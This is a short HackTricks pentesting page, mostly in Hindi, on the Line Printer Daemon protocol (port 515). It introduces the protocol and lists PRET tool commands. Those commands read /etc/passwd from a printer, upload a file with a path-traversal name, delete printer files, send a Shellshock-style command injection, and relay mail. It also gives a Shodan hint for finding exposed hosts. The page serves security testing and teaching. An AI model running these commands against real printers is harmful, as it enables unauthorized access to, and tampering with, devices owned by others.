515 - Pentesting Line Printer Daemon (LPD)

Support HackTricks

LPD प्रोटोकॉल का परिचय

1980 के दशक में, लाइन प्रिंटर डेमन (LPD) प्रोटोकॉल बर्कले यूनिक्स में विकसित किया गया, जिसे बाद में RFC1179 के माध्यम से औपचारिक रूप दिया गया। यह प्रोटोकॉल पोर्ट 515/tcp पर कार्य करता है, जो lpr कमांड के माध्यम से इंटरैक्शन की अनुमति देता है। LPD के माध्यम से प्रिंटिंग का सार एक नियंत्रण फ़ाइल (जो नौकरी के विवरण और उपयोगकर्ता को निर्दिष्ट करती है) के साथ एक डेटा फ़ाइल (जो प्रिंट जानकारी रखती है) भेजने में निहित है। जबकि नियंत्रण फ़ाइल डेटा फ़ाइल के लिए विभिन्न फ़ाइल प्रारूपों का चयन करने की अनुमति देती है, इन फ़ाइलों का प्रबंधन विशिष्ट LPD कार्यान्वयन द्वारा निर्धारित किया जाता है। यूनिक्स-जैसे सिस्टम के लिए एक व्यापक रूप से मान्यता प्राप्त कार्यान्वयन LPRng है। विशेष रूप से, LPD प्रोटोकॉल का उपयोग दुष्ट पोस्टस्क्रिप्ट या PJL प्रिंट नौकरियों को निष्पादित करने के लिए किया जा सकता है।

LPD प्रिंटर के साथ इंटरैक्ट करने के लिए उपकरण

PRET दो आवश्यक उपकरण, lpdprint और lpdtest, पेश करता है, जो LPD-संगत प्रिंटर के साथ इंटरैक्ट करने का एक सीधा तरीका प्रदान करते हैं। ये उपकरण डेटा प्रिंट करने से लेकर प्रिंटर पर फ़ाइलों को प्रबंधित करने, जैसे डाउनलोड, अपलोड, या हटाने तक की एक श्रृंखला की क्रियाएँ सक्षम करते हैं:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

For individuals interested in further exploring the realm of printer hacking, a comprehensive resource can be found here: Hacking Printers.

Shodan

  • port 515

Support HackTricks

Last updated